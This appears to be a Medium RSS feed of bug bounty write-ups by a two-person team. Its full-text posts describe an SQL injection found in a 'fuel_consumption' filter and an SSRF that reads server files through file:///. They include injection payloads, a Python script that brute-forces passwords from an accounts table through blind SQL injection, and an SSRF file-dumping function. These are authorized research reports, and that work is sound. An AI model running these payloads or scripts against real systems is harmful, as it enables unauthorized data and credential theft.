<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by nocley on Medium]]></title>
        <description><![CDATA[Stories by nocley on Medium]]></description>
        <link>https://medium.com/@nocley?source=rss-f53d8dd8aad1------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*wtvcrQNPqZ6Tz1YUWC73TQ.png</url>
            <title>Stories by nocley on Medium</title>
            <link>https://medium.com/@nocley?source=rss-f53d8dd8aad1------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 21:43:28 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@nocley/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[ Weak OAuth, Big Problem: Grafana Login Bypass Explained]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://medium.com/@nocley/weak-oauth-big-problem-grafana-login-bypass-explained-fab158119a5a?source=rss-f53d8dd8aad1------2"><img src="https://cdn-images-1.medium.com/max/648/1*PeEh95okWJft_tHMXgOTMw.png" width="648"></a></p><p class="medium-feed-snippet">Ever wondered if a simple OAuth misconfiguration could hand over access to a dashboard? Spoiler: it can&#x200A;&#x2014;&#x200A;and it did.</p><p class="medium-feed-link"><a href="https://medium.com/@nocley/weak-oauth-big-problem-grafana-login-bypass-explained-fab158119a5a?source=rss-f53d8dd8aad1------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://medium.com/@nocley/weak-oauth-big-problem-grafana-login-bypass-explained-fab158119a5a?source=rss-f53d8dd8aad1------2</link>
            <guid isPermaLink="false">https://medium.com/p/fab158119a5a</guid>
            <category><![CDATA[grafana]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[misconfiguration]]></category>
            <category><![CDATA[oauth]]></category>
            <dc:creator><![CDATA[nocley]]></dc:creator>
            <pubDate>Mon, 14 Jul 2025 04:45:00 GMT</pubDate>
            <atom:updated>2025-07-14T04:45:26.935Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[Unveiling CSRF-to-XSS and XXE in a Single Request]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://medium.com/@nocley/unveiling-csrf-to-xss-and-xxe-in-a-single-request-b3e260d5477d?source=rss-f53d8dd8aad1------2"><img src="https://cdn-images-1.medium.com/max/600/0*XHYK6mRmpNKTRsTA.JPG" width="600"></a></p><p class="medium-feed-snippet">Free Link</p><p class="medium-feed-link"><a href="https://medium.com/@nocley/unveiling-csrf-to-xss-and-xxe-in-a-single-request-b3e260d5477d?source=rss-f53d8dd8aad1------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://medium.com/@nocley/unveiling-csrf-to-xss-and-xxe-in-a-single-request-b3e260d5477d?source=rss-f53d8dd8aad1------2</link>
            <guid isPermaLink="false">https://medium.com/p/b3e260d5477d</guid>
            <category><![CDATA[csrf-attack]]></category>
            <category><![CDATA[xxe]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[nocley]]></dc:creator>
            <pubDate>Thu, 19 Jun 2025 16:59:32 GMT</pubDate>
            <atom:updated>2025-06-19T16:59:32.934Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[ Upload File ➡️ Stored XSS ➡️ Admin Takeover! MinIO Misconfiguration Story ]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://medium.com/@nocley/upload-file-%EF%B8%8F-stored-xss-%EF%B8%8F-admin-takeover-minio-misconfiguration-story-76ec4982ef5b?source=rss-f53d8dd8aad1------2"><img src="https://cdn-images-1.medium.com/max/919/1*BhNiQx9ynoMp1ohZdNSAjg.png" width="919"></a></p><p class="medium-feed-snippet">Free Link</p><p class="medium-feed-link"><a href="https://medium.com/@nocley/upload-file-%EF%B8%8F-stored-xss-%EF%B8%8F-admin-takeover-minio-misconfiguration-story-76ec4982ef5b?source=rss-f53d8dd8aad1------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://medium.com/@nocley/upload-file-%EF%B8%8F-stored-xss-%EF%B8%8F-admin-takeover-minio-misconfiguration-story-76ec4982ef5b?source=rss-f53d8dd8aad1------2</link>
            <guid isPermaLink="false">https://medium.com/p/76ec4982ef5b</guid>
            <category><![CDATA[minio]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[stored-xss]]></category>
            <category><![CDATA[misconfiguration]]></category>
            <dc:creator><![CDATA[nocley]]></dc:creator>
            <pubDate>Thu, 12 Jun 2025 08:02:36 GMT</pubDate>
            <atom:updated>2025-06-12T09:14:58.454Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[️‍♂️ How to Hunt a Perfect 10.0 CVSS Bug Bounty Score (And You Can Too!) ]]></title>
            <link>https://medium.com/@nocley/how-to-hunt-a-perfect-10-0-cvss-bug-bounty-score-sqli-4555cf03c399?source=rss-f53d8dd8aad1------2</link>
            <guid isPermaLink="false">https://medium.com/p/4555cf03c399</guid>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[tutorial]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[nocley]]></dc:creator>
            <pubDate>Fri, 23 May 2025 13:01:02 GMT</pubDate>
            <atom:updated>2025-05-23T13:01:02.538Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*5ICmCaI0hiQ2B0SyoCcjpg.png" /></figure><p>Imagine you’re a treasure hunter, scouring a digital jungle for a hidden gem — a flaw in a website that could earn you fame, glory, and a hefty bounty. That’s exactly what my friend <strong>ngosytuan</strong> and I set out to do when we targeted a site called sub.redacted.com. Our mission? Uncover a rare and dangerous bug called an <strong>SQL Injection</strong> (SQLi), a vulnerability so severe it’s like finding a master key to a bank vault.</p><p><strong>Spoiler alert:</strong> we didn’t just find it—we scored a <strong>perfect 10.0 CVSS</strong>, the bug bounty equivalent of an Olympic gold medal. Here’s how we did it, with tips to help you start your own hunt.</p><h3>🗺️ Chapter 1: The Quest Begins</h3><p>Our adventure started with a bold goal: find an SQL Injection on a tricky website. The target was like a fortress, with a complex system passing a <em>ton</em> of parameters (think of them as puzzle pieces) to a backend server. If there was a vulnerability hiding in there, it was buried deep, like a needle in a haystack. But <strong>ngosytuan</strong> and I were ready to dig.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hPTrocNW6UTxxMNTqpsYCQ.png" /><figcaption>We are the miner to find hidden gem</figcaption></figure><h3>🛠️ Chapter 2: The Game-Changing Hack</h3><p>Early on, <strong>ngosytuan</strong> dropped a piece of wisdom that felt like a cheat code: <em>“Got too many parameters to test? Don’t poke each one with a single quote </em><em>&#39;—just throw quotes at everything and peel them back one by one.”</em></p><p>It sounded like chaos, but it was genius. Imagine trying to find a leaky pipe by turning on every faucet at once, then shutting them off one by one to spot the drip. That’s what we did. We crafted a request, injected single quotes &#39; into <em>all</em> the parameters, and fired it at the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fiNepBHfnJYa22Y3OeglSA.png" /><figcaption>Like that</figcaption></figure><p><strong>BAM!</strong> The server choked and spat out a <strong>500 Internal Server Error</strong>. We had a clue — our first sign of buried treasure.</p><h3>🧩 Chapter 3: The Puzzle Gets Trickier</h3><p>Confirming the SQL Injection was like solving a riddle wrapped in a mystery. After identifying the correct param that is failing, we start with the UNION payload.</p><p>The server threw us a cryptic error message:</p><pre>CAST(REPLACE(fuel_consumption_mixed, &#39;,&#39;, &#39;.&#39;) AS DECIMAL(5,2)) BETWEEN 1 AND 1=1 UNION SELECT 1.2.3--</pre><p>At first, we thought, “Aha! Two columns!” But something was off. The error wasn’t about bad SQL — it was about <em>data conversion</em>. The backend was swapping every comma (,) for a period (.) and trying to treat the result as a decimal number. So, when we sent 1.2.3, it got confused, like trying to read “1.2.3” as a single number. No wonder it broke!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*g_sgKhgBBclGZsFIav4FYA.png" /></figure><p>We exploit with <strong>sqlmap </strong>to dump data, a popular tool for testing SQL Injections, but it kept striking out. Frustration was setting in.</p><h3>💡 Chapter 4: The Midnight Breakthrough</h3><p>After a long night, I decided to try one last trick before calling it quits. I sent a payload with a <strong>SLEEP(10)</strong> command, like telling the server, “Hey, take a 10-second nap if you’re vulnerable.” The payload looked like this:</p><pre>1 AND 1=1 UNION SELECT SLEEP(10)--</pre><p>I hit send and waited. My heart raced as the seconds ticked by… and then, <em>exactly 10 seconds later</em>, the server responded. I tried again with SLEEP(5), and sure enough, it paused for 5 seconds.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/210/1*geD1b1TJku-X9Rz04su_pA.png" /></figure><p>Jackpot! We had a <strong>confirmed SQL Injection</strong>, and it was a big one. This wasn’t just a crack in the wall — it was a gaping hole.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/310/1*2y6Ado_kAS9OOoIjwwDvaA.jpeg" /></figure><h3>🖥️ Chapter 5: Outsmarting the System</h3><p>To seal the deal, I needed to understand why our earlier tests failed. The backend’s comma-to-period swap was tripping us up. Tools like sqlmap couldn’t handle the server’s weird data conversion, so I took matters into my own hands. I wrote a custom auto-exploit script that:</p><ul><li>Sent boolean-base payloads to test the injection.</li><li>Check response’s length to confirm.</li><li>Extract data.</li></ul><p>Think of it like building a custom metal detector to find that one specific coin in the sand. It wasn’t fancy, but it worked like a charm.</p><p><strong>Payload:</strong></p><pre>1 AND EXISTS(SELECT 1 FROM dual WHERE LENGTH((SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema = &#39;db&#39; AND table_name = &#39;accounts&#39;))</pre><p><strong>No more </strong><strong>,</strong></p><p>And I code an exploit code for this case like this:</p><ul><li>Check data length:</li></ul><pre>def get_data_length():<br>    &quot;&quot;&quot;Binary find to check length&quot;&quot;&quot;<br>    left, right = 1, 100<br>    while left &lt;= right:<br>        mid = (left + right) // 2<br>        payload = f&quot;1 AND EXISTS(SELECT 1 FROM dual WHERE LENGTH((SELECT GROUP_CONCAT(password) FROM accounts LIMIT 1)) &gt; {mid})&quot;<br>        json_data = {&quot;filters&quot;: {&quot;fuel_consumption&quot;: [1, payload]}}<br>        r = requests.post(url, headers=headers, cookies=cookies, json=json_data)<br>        if &quot;id=1207&quot; in r.text:<br>            left = mid + 1<br>        else:<br>            right = mid - 1<br>    return right + 1</pre><ul><li>Check character:</li></ul><pre>def test_character(position, char):<br>    payload = f&quot;1 AND EXISTS(SELECT 1 FROM dual WHERE SUBSTRING((SELECT GROUP_CONCAT(password) FROM accounts LIMIT 1) FROM {position} FOR 1) = &#39;{char}&#39;)&quot;<br>    json_data = {&quot;filters&quot;: {&quot;fuel_consumption&quot;: [1, payload]}}<br>    try:<br>        r = requests.post(url, headers=headers, cookies=cookies, json=json_data)<br>        if &quot;id=1337&quot; in r.text:<br>            return char<br>    except:<br>        pass<br>    return None</pre><ul><li>Extract database:</li></ul><pre><br>def extract_data():<br>    &quot;&quot;&quot;Brute-force&quot;&quot;&quot;<br>    result = &quot;&quot;<br>    length = get_data_length()<br>    print(f&quot;[+] Target data length: {length}&quot;)<br>    <br>    with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:<br>        for i in range(1, length + 1):<br>            futures = {executor.submit(test_character, i, c): c for c in charset}<br>            for future in concurrent.futures.as_completed(futures):<br>                found = future.result()<br>                if found:<br>                    result += found<br>                    print(f&quot;[+] Found char at pos {i}: {found}&quot;)<br>                    break<br>    return result<br></pre><h3>Get the hidden gem 🌟</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/983/1*eKXgrOwpoGmooMCJC08DXA.png" /></figure><h3>🏆 Chapter 6: Victory and Validation</h3><p>With our proof-of-concept (PoC) and script in hand, I submitted the report to the bug bounty program. The triage team reviewed it quickly, and soon after, the company marked it <strong>Accepted</strong> with a <strong>High severity</strong> rating. We had done it — our SQL Injection was officially a <strong>10.0 CVSS</strong> masterpiece. Mission accomplished! 🎉</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*3lVUkxeCu6zLUJIYi65Igw.png" /></figure><h3>📋 Bug Bounty Bootcamp: Tips to Start Your Hunt</h3><p>Want to chase your own digital treasures? Here’s what I learned from this adventure:</p><ul><li>🔍 <strong>Read error messages like a detective.</strong> They’re clues, not just noise. A single line can point you to the bug.</li><li>🧠 <strong>Think like the backend.</strong> Understand how the server processes data (like swapping commas for periods) to craft smarter attacks.</li><li>🛠️ <strong>Build your own tools.</strong> If off-the-shelf tools like sqlmap fail, a custom script can save the day and make your report stand out.</li><li>🎣 <strong>Test everything at once, then narrow down.</strong> Injecting quotes into all parameters is like casting a wide net — then reel in the catch slowly.</li><li>💪 <strong>Stay curious and persistent.</strong> Bug hunting is a marathon, not a sprint. Keep tweaking, testing, and learning.</li></ul><h3>🌟 Why This Matters</h3><p>Scoring a 10.0 CVSS isn’t just about bragging rights (though it feels <em>awesome</em>). It’s about making the internet safer, learning how systems work, and maybe earning a nice payout along the way. Whether you’re a coder, a curious newbie, or just love a good challenge, bug bounty hunting is a thrilling way to test your skills.</p><p>So, grab your laptop, team up with a friend, and start exploring. Your own 10.0 adventure might be just one clever payload away. Happy hunting! 🚀</p><p>Cheers to many more finds ahead!</p><p>Before you go:</p><p>Be sure to clap and follow us👏</p><p>fatman &amp; ngosytuan</p><p>nocley Team</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4555cf03c399" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[GitHub Dorking Brought Us the Bounty]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://medium.com/@nocley/github-dorking-brought-us-the-bounty-cd1c4675371e?source=rss-f53d8dd8aad1------2"><img src="https://cdn-images-1.medium.com/max/800/1*bRQUbmfg4SUOM7seJVnLCA.png" width="800"></a></p><p class="medium-feed-snippet">My friend Fatman and I, on our journey to conquer bug bounties, noticed a program with a very high bounty&#x200A;&#x2014;&#x200A;a Web3 program.</p><p class="medium-feed-link"><a href="https://medium.com/@nocley/github-dorking-brought-us-the-bounty-cd1c4675371e?source=rss-f53d8dd8aad1------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://medium.com/@nocley/github-dorking-brought-us-the-bounty-cd1c4675371e?source=rss-f53d8dd8aad1------2</link>
            <guid isPermaLink="false">https://medium.com/p/cd1c4675371e</guid>
            <category><![CDATA[intigriti]]></category>
            <category><![CDATA[bugbounty-tips]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bugbounty-writeup]]></category>
            <dc:creator><![CDATA[nocley]]></dc:creator>
            <pubDate>Thu, 15 May 2025 09:38:01 GMT</pubDate>
            <atom:updated>2025-05-15T09:40:17.831Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[My Exceptional SSRF Finding]]></title>
            <link>https://medium.com/@nocley/my-exceptional-ssrf-finding-73e8039e3a22?source=rss-f53d8dd8aad1------2</link>
            <guid isPermaLink="false">https://medium.com/p/73e8039e3a22</guid>
            <category><![CDATA[readteam]]></category>
            <category><![CDATA[pentest]]></category>
            <category><![CDATA[tips-and-tricks]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[ssrf]]></category>
            <dc:creator><![CDATA[nocley]]></dc:creator>
            <pubDate>Tue, 13 May 2025 16:18:29 GMT</pubDate>
            <atom:updated>2025-05-13T16:31:40.293Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://medium.com/@nocley/my-exceptional-ssrf-finding-73e8039e3a22?source=friends_link&amp;sk=ae94572c18695ea10245be54fe632235"><strong>Friend Link</strong></a></p><p>There’s always a first time for everything, right? Well, let me tell you about my very first time scoring an <strong>Exceptional</strong> rating for an SSRF vulnerability. It was a wild ride, filled with excitement, frustrations, and a couple of <em>a-ha</em> moments. If you’re a bug hunter or just someone who loves a good adventure, stick around — I promise this will be worth it!</p><h3>What is SSRF?</h3><p>Server-Side Request Forgery (SSRF) is a security vulnerability that allows an attacker to exploit a server to send requests to internal systems or external services that would normally be inaccessible.</p><p>Typically, SSRF occurs when a web application allows users to input a URL to fetch data from an external source without properly validating or filtering the input. Attackers can take advantage of this flaw to:</p><ul><li><strong>Scan internal networks</strong> and discover services running on open ports.</li><li><strong>Access internal APIs or administrative systems.</strong></li><li><strong>Exploit services running on localhost</strong>, such as Redis, Memcached, or cloud metadata services (http://169.254.169.254).</li><li><strong>Leverage SSRF to perform advanced attacks</strong> like Remote Code Execution (RCE) or exfiltrate sensitive information.</li></ul><p>Here’s a simple example of a request that could lead to SSRF:</p><pre>GET /fetch?url=http://localhost:8080/admin HTTP/1.1<br>Host: vulnerable-website.com</pre><p>If the server does not properly validate the input URL, an attacker can modify the URL to access internal resources or perform other types of attacks.</p><h3>The Journey Begins</h3><p>About two months ago, I met <a href="https://app.intigriti.com/researcher/profile/ngosytuan">Tuan</a>, a Top Hunter on Intigriti. After chatting for a while, we decided to team up for the last week of March. I told him I had never found an <strong>Exceptional</strong> bug before. He simply said, “Believe in yourself, let’s go for it.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/0*d6Ev-kcIoaKuLKZJ.png" /></figure><p>And so, we did.</p><h3>Hunting Together</h3><p>We divided our tasks: I handled exploit, while Tuan focused on identifying viable targets. One evening, I stumbled upon an interesting target with many features exposed. It seemed like the perfect starting point. I told Tuan, and we both dove right in.</p><p>In just 15 minutes of poking around and examining logs in Burp Suite, I found a peculiar request:</p><pre>POST /care/doc/pdf HTTP/2<br>Host: www.redact.com<br>Cookie: lang=en<br>Content-Type: application/x-www-form-urlencoded</pre><pre>Id=311251316629&amp;inline=true&amp;DocumentUrl=&lt;@base64&gt;a very long base64 string&lt;/@base64&gt;&amp;CSRFToken=123ea9af-1701-4b46-9a83-40bys285d45d</pre><p>The parameter DocumentUrl instantly caught my eye—there it was, Url, practically waving a flag saying, &quot;Attack me!&quot; I initially considered an IDOR vulnerability, but it didn’t work out. When I decoded the Base64 string, I found a URL beginning with http://172.x.x.x:xxxx. My instincts screamed <strong>SSRF</strong>.</p><p>I quickly deployed Collaborator to test for callbacks, and sure enough, I got a pingback. I knew I was on the right path.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/0*Ok4mmq7-2-Vhiy6h.png" /></figure><h3>The Attack Begins</h3><p>I immediately called Tuan to join the hunt. We hit a small snag trying to access it via HTTP. Our initial ideas like RFI and LFI all failed since the header’s content type was set to PDF.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/0*qkL_8PhDchAh-ihe.png" /></figure><p>Even when we tried to hit common APIs, it returned 500 errors and caused the API to DOS for a while. It was nearly midnight, and we were both exhausted. But suddenly, it hit me — why only try HTTP? What about file://?</p><p>I tested it:</p><pre>file:///</pre><p>And it worked!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/0*Q3SfZBZf0d3cGpXh.png" /></figure><p>Success! I began listing files and directories. To automate, I wrote a script with the help of AI to brute-force directories and files:</p><pre>def download_file(remote_path)&quot;<br>    time.sleep(DELAY)<br>    status, response_text = send_ssrf_request(remote_path)<br>    if status is None:<br>        return False<br>    if status == 200 or (&quot;jpg&quot; not in remote_path and &quot;png&quot; not in remote_path and &quot;svg&quot; not in remote_path):<br>        if not is_directory_listing(response_text):<br>            save_file(remote_path, response_text.encode(&#39;utf-8&#39;))<br>            return True<br>        else:<br>            print(f&quot;[!] {remote_path} found!&quot;)<br>            return False<br>    elif status == 500:<br>        parent_path = &#39;/&#39;.join(remote_path.rstrip(&#39;/&#39;).split(&#39;/&#39;)[:-1])<br>        print(f&quot;[!] Found: {parent_path} (status 500 from {remote_path})&quot;)<br>        status_parent, content_parent = send_ssrf_request(parent_path)<br>        if status_parent == 200 and content_parent:<br>            save_file(parent_path, content_parent.encode(&#39;utf-8&#39;))<br>            return True<br>        else:<br>            print(f&quot;[!] {parent_path}: (HTTP {status_parent})&quot;)<br>            return False<br>    else:<br>        print(f&quot;[!] {remote_path}: {status}&quot;)<br>        return False</pre><p>In just a few moments, I had practically cloned the server’s directory. I found out the current user was <strong>www-data</strong> and there were no other users with SSH access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/0*ekOdOs6gNHNW4wF1.png" /></figure><h3>Taking It to the Next Level</h3><p>This was my first chance to get an <strong>Exceptional</strong> finding, so I wanted to make it count. It was already past 1 AM, but I kept going. With Tuan’s help, we mapped out the server, found the folders, and began reading configuration files to extract credentials. We downloaded JAR files and analyzed their contents, bit by bit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/525/0*e_Bu91EG5YyUprf8.png" /></figure><p>Eventually, I called it a night. But the next morning, the triage team confirmed the vulnerability as <strong>Exceptional</strong>. DOS, SSRF, and credential exposure — it all checked out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/420/0*tqua8w8qISy2pMmF.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*7-nAdKlBxlB4ciDbtrKHsw.png" /><figcaption>Finally!</figcaption></figure><h3>Conclusion</h3><p>This was my first collaboration, and it was wildly successful. Since then, Tuan and I have found a few more Critical and Exceptional vulnerabilities. Maybe I’ll write about them next time.</p><p><strong>Pro Tip:</strong> A good friend in bug hunting is worth more than gold. And always — always — follow your instincts.</p><p>Cheers to many more finds ahead!</p><p>fatman &amp; ngosytuan</p><p>nocley Team</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=73e8039e3a22" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>